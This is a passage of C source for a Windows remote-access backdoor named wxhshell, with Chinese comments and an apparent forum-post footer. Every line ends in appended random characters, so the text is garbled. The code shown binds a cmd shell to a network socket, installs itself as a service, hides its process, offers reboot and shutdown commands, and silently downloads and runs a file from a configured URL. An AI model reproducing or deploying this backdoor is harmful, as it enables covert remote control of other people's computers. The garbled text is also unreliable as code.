Iz I hC  
    switch(cmd[0]) { lkgB,cflpi  
  A)D1 #,0  
  // 帮助 Us8nOr>5  
  case '?': { ?) VBkA5j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l~GcD  
    break; o1u?H4z  
  } AM4 :xz  
  // 安装 :Pi="  
  case 'i': { IsB=G-s  
    if(Install()) );ZxKGjc4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i  M!=/  
    else MH_3nN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uJL[m(G  
    break; Z~ DR,:  
    } }&IOBYHVDo  
  // 卸载 (hIy31Pf  
  case 'r': { 'E1m-kJz  
    if(Uninstall()) a &tl@y1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -l q,~`v  
    else {us"=JJVN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lNqF@eCT9  
    break; N uq/y=  
    } wnbKUlb  
  // 显示 wxhshell 所在路径 |j7{zsH  
  case 'p': { $jv/00:&  
    char svExeFile[MAX_PATH]; lag%} ^  
    strcpy(svExeFile,"\n\r"); 47 9yG/+\  
      strcat(svExeFile,ExeFile); g2GHsVS  
        send(wsh,svExeFile,strlen(svExeFile),0); )zq sn  
    break; " IC0v9  
    } <I^Tug\M+  
  // 重启 _w49@9?  
  case 'b': { b)@b63P_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p ^Dm w0y  
    if(Boot(REBOOT)) |1^ !rHg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kY`L[1G$  
    else { _0qp!-l}  
    closesocket(wsh); DsF<P@O6  
    ExitThread(0); ffS]%qa  
    } R3@$ao  
    break; !;;WS~no3  
    } OqA#4h4^  
  // 关机 ##qs{s^ ]  
  case 'd': { :<>=,`vQD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~> |o3&G{  
    if(Boot(SHUTDOWN)) TTzvH;S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 63y&MaqSJ  
    else { ma(E}s  
    closesocket(wsh); GJ4R f%  
    ExitThread(0); OO`-{HKt  
    } haIH `S Y  
    break; 1A-ess\  
    } [5TGCGxP{  
  // 获取shell \v[?4 [  
  case 's': { YVB\9{H?  
    CmdShell(wsh); TSAVXng  
    closesocket(wsh); 1<d|@9?9`  
    ExitThread(0); 7.`:Z_  
    break;  a 9f%p  
  }  oN7JNMT  
  // 退出 y(0";\V  
  case 'x': { IJV1=/ NJW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); pcjb;&<  
    CloseIt(wsh); 5t~p99#?  
    break; 'J"m`a8no  
    } 7>>6c7e  
  // 离开 \dw*yZ^  
  case 'q': { QIZbAnn_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D "9Hv3  
    closesocket(wsh); gl~>MasV&  
    WSACleanup(); .l(t\BfE~  
    exit(1); Ud[Zv?tA:  
    break; \w\{x0u  
        } a}MSA/K(  
  } ^+zhzfJ  
  } 6+Wkcr h  
XhEd9>#  
  // 提示信息 ;;g'C*_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j^'op|l  
} /K<.$B8  
  } UuvI?D  
Km9Y_`?  
  return; _MC\\u/C/  
} W_ hckq.  
|T@\ -8Ok  
// shell模块句柄 (:2,Rr1"  
int CmdShell(SOCKET sock) `cBV+00YS  
{ m?Qr)F_M  
STARTUPINFO si; J}UG{RttI  
ZeroMemory(&si,sizeof(si)); ,/>hWAx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yC]X&1,:z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b 5X~^L  
PROCESS_INFORMATION ProcessInfo; :RE.md  
char cmdline[]="cmd"; _mJnhT3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DHlCus=ic  
  return 0; i-`n5,  
} amY\1quD|  
| p"E0av  
// 自身启动模式 ee|i  
int StartFromService(void) 1EvK\  
{ {Ex*8sU%p%  
typedef struct %t:pG}A>:C  
{ \KJ\>2Y  
  DWORD ExitStatus; x{';0MkUV  
  DWORD PebBaseAddress; }+1Y>W7q  
  DWORD AffinityMask; {Bb:S"7NX  
  DWORD BasePriority; vhQIkB8  
  ULONG UniqueProcessId; Rg!Fu  
  ULONG InheritedFromUniqueProcessId; ]c'12 g]h  
}   PROCESS_BASIC_INFORMATION; F qW[L>M'  
vS{zLXg  
PROCNTQSIP NtQueryInformationProcess; [j]3='2}G  
- s,M+Q(<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U3f a *D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G$B( AWL  
] %y3*N@AZ  
  HANDLE             hProcess; ub0uxvz  
  PROCESS_BASIC_INFORMATION pbi; gI SP .  
>5Rcj(-&l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NlS/PWc6(  
  if(NULL == hInst ) return 0; ] 3@.)  
<-1(G1v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0*F{=X~L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c[~LI<>ic  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }(/")i4h  
3 0fsVwE2  
  if (!NtQueryInformationProcess) return 0; 23AMrDF=N  
dMnJ)R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?Q ]{P]  
  if(!hProcess) return 0; Z`=[hu  
,r-l^I3<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;QA`2$Ow  
.%(Q*ioDh  
  CloseHandle(hProcess); 'F- wC!  
K38A;=t9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T7!"gJ  
if(hProcess==NULL) return 0; ^\z.E?v%  
<{"]&bl  
HMODULE hMod; El}."}l&  
char procName[255]; ,(6U3W*bu  
unsigned long cbNeeded; l<]@5"wN  
9,4Lb]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); JIl<4 %A  
*hP9d;-Ar  
  CloseHandle(hProcess); %$)[qa3  
FM)Es&p&  
if(strstr(procName,"services")) return 1; // 以服务启动 -Tw96 dv  
#Tjv(O[&  
  return 0; // 注册表启动 %)Pn<! L  
} [=63xPxs.  
{q[l4_  
// 主模块 `Eijy3>h  
int StartWxhshell(LPSTR lpCmdLine) T w!]N%E  
{ /WlpRf%  
  SOCKET wsl; !8Rsz:7^-  
BOOL val=TRUE; *h`%u8/{  
  int port=0; X5|<qu  
  struct sockaddr_in door; @C]Q;>^|  
QeK@ ++EVc  
  if(wscfg.ws_autoins) Install(); $R'  
cZ@z]LY.g  
port=atoi(lpCmdLine); Yy$GfjJtL]  
Vd-\_VP20  
if(port<=0) port=wscfg.ws_port; b#:Pl`n6u  
}E\ b_.  
  WSADATA data; )jh4HMvmC  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x2|YrkGv  
:3z`+5Y*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~JJuM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GvL)SVv?  
  door.sin_family = AF_INET; E,F'k2yU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1 h.=c  
  door.sin_port = htons(port); )}-,4Iu%  
&B</^:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]"jJgO^  
closesocket(wsl); r+}5;fQJ  
return 1; n( |~z   
} 8| 6:  
yA8e"$  
  if(listen(wsl,2) == INVALID_SOCKET) { rNgFsFQ>.  
closesocket(wsl); G d".zsn  
return 1; 1^*M*>&d<  
} ;\F3~rl  
  Wxhshell(wsl); p97}HT}  
  WSACleanup(); jm_b3!J  
wF +9Iu  
return 0; tFY;q##z  
>IL[eiiPG  
} K8sgeX|  
na;U]IK  
// 以NT服务方式启动 v&hQ;v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) YceX)  
{ :N \j@yJK  
DWORD   status = 0; {9tKq--@E9  
  DWORD   specificError = 0xfffffff; 2;Ij~~  
F__j]}?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7q>Y)*V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xndgs}zz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; mVg$z  
  serviceStatus.dwWin32ExitCode     = 0; Hh_Yd)  
  serviceStatus.dwServiceSpecificExitCode = 0; ^ |k 7g  
  serviceStatus.dwCheckPoint       = 0; wj-=#gyAoo  
  serviceStatus.dwWaitHint       = 0; }9&Z#1/  
@a08*"lbp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2yu\f u  
  if (hServiceStatusHandle==0) return; _vQtV]  
#1INOR9  
status = GetLastError(); 5B&#Sh`r  
  if (status!=NO_ERROR) j-e gsKR  
{ wA+QUN3#n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 39xAh*}G]  
    serviceStatus.dwCheckPoint       = 0; U*G8 }W  
    serviceStatus.dwWaitHint       = 0; BO#XQ,  
    serviceStatus.dwWin32ExitCode     = status; ~i)m(65:  
    serviceStatus.dwServiceSpecificExitCode = specificError; {*gO1TZt9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LciSQ R!  
    return; 3ErW3Ac Ou  
  } I<v1S  
[Yo3=(7J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j.? '*?P  
  serviceStatus.dwCheckPoint       = 0; AY{-Hf&  
  serviceStatus.dwWaitHint       = 0; 9~bl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E8[{U8)[;5  
} K%Dksx7ow  
mVJW"*}8  
// 处理NT服务事件,比如:启动、停止 DAZzc :1Aj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) g_kR5Wxpt  
{ <Yzk]98W5.  
switch(fdwControl) ,G";ny[$  
{ 83 O+`f  
case SERVICE_CONTROL_STOP: {u3eel  
  serviceStatus.dwWin32ExitCode = 0; lzJ[`i.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8VbHZ9Q  
  serviceStatus.dwCheckPoint   = 0; AS 5\X.%L*  
  serviceStatus.dwWaitHint     = 0; _|VWf8?\  
  { 5H (CP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dKs^Dq  
  } C$9+p@G6  
  return; o5!"dxR  
case SERVICE_CONTROL_PAUSE: Q_ zGs6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *h+@a  
  break; {`2R<O  
case SERVICE_CONTROL_CONTINUE: Y<~N x~w{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X6+2~'*t  
  break; WD wW`  
case SERVICE_CONTROL_INTERROGATE: <78]OZ] Z  
  break; X67.%>#3  
}; ]}4{|& e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wv.FL$f[@  
} udRum7XW 3  
l>l)m-;O  
// 标准应用程序主函数 aNZJs<3;'D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  3kAmRU  
{ m!{}Y]FZn  
x"hZOgFZ  
// 获取操作系统版本 4)'8fi  
OsIsNt=GetOsVer(); 2_^{Vez@I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); SfKm]Z>Hp  
d>ltL`xn  
  // 从命令行安装 %9|}H [x  
  if(strpbrk(lpCmdLine,"iI")) Install(); p&B c<+3e  
jft%\sY  
  // 下载执行文件 4vri=P 2%  
if(wscfg.ws_downexe) { .C]V==z`[4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^P5+ _P  
  WinExec(wscfg.ws_filenam,SW_HIDE); jy=dB-&  
} rgQ6/3}qc  
A=Au>"nAA  
if(!OsIsNt) { qT`sPEs;V  
// 如果时win9x,隐藏进程并且设置为注册表启动 z^+`S:  
HideProc(); \ (y6o}aW  
StartWxhshell(lpCmdLine); #+mt}w/  
} )Fc` rY  
else ]Lc:M'V#  
  if(StartFromService()) ]ne&`uO  
  // 以服务方式启动 b;wf7~a*  
  StartServiceCtrlDispatcher(DispatchTable); "AN2K  
else %GRD3S  
  // 普通方式启动 |aH;@V  
  StartWxhshell(lpCmdLine); pdcP;.   
H*#L~!]  
return 0; Ri$wt.b  
}
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只看该作者 1 发表于: 2006-10-10
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